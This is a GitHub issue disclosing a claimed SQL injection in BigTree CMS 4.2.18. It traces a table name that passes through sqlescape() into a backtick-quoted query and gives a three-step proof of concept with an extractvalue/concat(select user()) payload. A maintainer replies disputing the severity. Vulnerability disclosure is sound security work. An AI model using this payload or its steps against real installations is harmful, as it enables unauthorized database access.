Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection in bigtreecms 4.2.18 #288

Closed
xfkxfk opened this issue Jun 3, 2017 · 1 comment

Comments

Projects
None yet
2 participants
@xfkxfk
Copy link

commented Jun 3, 2017

SQL injection in bigtreecms 4.2.18

shou me the code:
file \BigTree-CMS-4.2.18\core\admin\modules\developer\modules\designer\form-create.php

	// Add the module form	
	$form_id = $admin->createModuleForm($module,$_POST["title"],$_POST["table"],$fields);

continue the function createModuleForm()
file BigTree-CMS-4.2.18\core\inc\bigtree\admin.php

		function createModuleForm($module,$title,$table,$fields,$hooks = array(),$default_position = "",$return_view = false,$return_url = "",$tagging = "") {
			$module = sqlescape($module);
			$title = sqlescape(BigTree::safeEncode($title));
			$table = sqlescape($table);
			$hooks = BigTree::json(is_array($hooks) ? $hooks : json_decode($hooks),true);
			$default_position = sqlescape($default_position);
			$return_view = $return_view ? "'".sqlescape($return_view)."'" : "NULL";
			$return_url = sqlescape($this->makeIPL($return_url));
			$tagging = $tagging ? "on" : "";

			$clean_fields = array();
			foreach ($fields as $key => $data) {
				$field = array(
					"column" => $data["column"] ? $data["column"] : $key,
					"type" => BigTree::safeEncode($data["type"]),
					"title" => BigTree::safeEncode($data["title"]),
					"subtitle" => BigTree::safeEncode($data["subtitle"]),
					"options" => BigTree::translateArray(is_array($data["options"]) ? $data["options"] : (array)@json_decode($data["options"],true))
				);
				// Backwards compatibility with BigTree 4.1 package imports
				foreach ($data as $k => $v) {
					if (!in_array($k,array("title","subtitle","type","options"))) {
						$field["options"][$k] = $v;
					}
				}
				$clean_fields[] = $field;
			}
			$fields = BigTree::json($clean_fields,true);

			sqlquery("INSERT INTO bigtree_module_forms (`module`,`title`,`table`,`fields`,`default_position`,`return_view`,`return_url`,`tagging`,`hooks`) VALUES ('$module','$title','$table','$fields','$default_position',$return_view,'$return_url','$tagging','$hooks')");
			$id = sqlid();
			$this->track("bigtree_module_forms",$id,"created");

here the $_POST["table"] to $table to sqlescape($table), final INSERT INTO database table bigtree_module_forms.
continue
file \BigTree-CMS-4.2.18\core\admin\modules\dashboard\vitals-statistics\integrity\check.php

<?
	$external = ($_GET["external"] == "true") ? true : false;
	$admin->requireLevel(1);
	$pages = $admin->getPageIds();
	$modules = $admin->getModuleForms();
	// Get the ids of items that are in each module.
	foreach ($modules as &$m) {
		$action = $admin->getModuleActionForForm($m);
		$module = $admin->getModule($action["module"]);
		if ($module["group"]) {
			$group = $admin->getModuleGroup($module["group"]);
			$m["module_name"] = "Modules&nbsp;&nbsp;&rsaquo;&nbsp;&nbsp;".$group["name"]."&nbsp;&nbsp;&rsaquo;&nbsp;&nbsp;".$module["name"]."&nbsp;&nbsp;&rsaquo;&nbsp;&nbsp;".$m["title"];
		} else {
			$m["module_name"] = "Modules&nbsp;&nbsp;&rsaquo;&nbsp;&nbsp;".$module["name"]."&nbsp;&nbsp;&rsaquo;&nbsp;&nbsp;".$m["title"];
		}

	    $m["items"] = array();
	    $q = sqlquery("SELECT id FROM `".$m["table"]."`");
	    while ($f = sqlfetch($q)) {
	    	$m["items"][] = $f["id"];
	    }
	}
?>

continue, at getModuleForms() function SELECT * FROM bigtree_module_forms

static function getModuleForms($sort = "title",$module = false) {
			$items = array();
			if ($module) {
				$q = sqlquery("SELECT * FROM bigtree_module_forms WHERE module = '".sqlescape($module)."' ORDER BY $sort");
			} else {
				$q = sqlquery("SELECT * FROM bigtree_module_forms ORDER BY $sort");
			}
			while ($f = sqlfetch($q)) {
				$f["fields"] = json_decode($f["fields"],true);
				$f["hooks"] = json_decode($f["hooks"],true);
				$items[] = $f;
			}
			return $items;
		}

at here, $admin->getModuleForms() to $modules to $m, final sqlquery("SELECT id FROM ".$m["table"]."")

Trick:

sqlescape() function cannot filter `

POC:
one step,create module xfkxfk, on url:
http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/developer/modules/designer/

two step, create module xfkxfk2,but the table name is:xfkxfk where 1=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#(here_is_the_table_name_at_one_step where 1=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#), on url:
http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/developer/modules/designer/

three step, request the url,sql inject here:
http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/dashboard/vitals-statistics/integrity/check/?external=true

default

email : xfkxfk@secbook.net

@timbuckingham

This comment has been minimized.

Copy link
Collaborator

commented Jun 10, 2017

Developer level users (that can access module designer) already have eval() access through column parsers. Your example SQL also fails in an error so I'm not sure how that would be a security concern.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.